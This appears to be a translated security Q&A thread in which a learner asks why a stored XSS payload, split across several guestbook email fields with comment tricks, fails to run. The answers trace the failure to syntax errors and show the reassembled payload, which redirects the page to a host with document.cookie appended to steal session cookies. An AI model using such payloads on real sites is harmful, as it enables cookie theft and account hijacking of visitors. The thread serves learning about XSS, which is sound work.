Aprender XSS: ¿Por qué se ignora mi javascript?

Question

Aprender XSS: ¿Por qué se ignora mi javascript?

#1 de David (3 votos)
#2 de Gudradain (1 votos)

3

<a href='mailto:</a><script>/*'></a><script>/*</a>:
 <br>   
<hr>
<a href='mailto:*/location.href=/*'>*/location.href=/*</a>: 
<br>
<hr>
<a href='mailto:*/"http://127.0.0.1/"/*'>*/"http://127.0.0.1/"/*</a>:
 <br>
<hr>
<a href='mailto:*/+document.cookie;/*'>*/+document.cookie;/*</a>:   
 <br>
<hr>
<a href='mailto:*/</script><a>'>*/</script><a></a>

Estoy inyectando en la configuración de un libro de visitas donde se inyecta el XSS cambiando la dirección de correo electrónico. La longitud máxima del correo electrónico es lo suficientemente corta como para que tenga que extenderme en varias publicaciones. Al probar, soy capaz de ejecutar alerta (1); pero cuando tengo que extender una expresión más complicada sobre varias líneas, las cosas se rompen. ¿Qué me estoy perdiendo?

web-application web-browser xss

pregunta Chris 30.06.2014 - 02:06

fuente

2 respuestas

1

Suponiendo que este es el código que se muestra en la página web, diría que la URL que se pasa a location.href tiene un formato incorrecto, lo que provoca el bloqueo de Javascript. Por lo tanto, no pasa nada. Su código si lo reformatea y elimina los comentarios se ven así (y parece que hay un error tipográfico para el carácter > en la primera línea ...)

<a href='mailto:</a><script>/*>'</a><script>location.href="http://127.0.0.1/"+document.cookie;</script><a></a>

respondido por el Gudradain 30.06.2014 - 05:22

fuente

Lea otras preguntas en las etiquetas web-application web-browser xss

alerta de "No hay información de identidad" en gmail Ventajas de la seguridad de ejecutarse como usuario estándar en lugar de administrador

score 3 · Accepted Answer

Con los comentarios eliminados, su código se ve así:

<a href='mailto:</a><script>location.href=location.href="http://127.0.0.1/""http://127.0.0.1/"+document.cookie;+document.cookie;</script><a>'>*/</script><a></a>

Esto produce un error de sintaxis, que impide que el código se ejecute. En particular, el "" es problemático, activando un SyntaxError para "Cadena inesperada".